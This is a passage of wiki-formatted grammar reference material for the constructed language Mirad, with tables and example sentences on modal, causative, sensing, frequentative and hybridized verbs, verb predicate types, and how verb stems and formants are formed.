| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
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== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
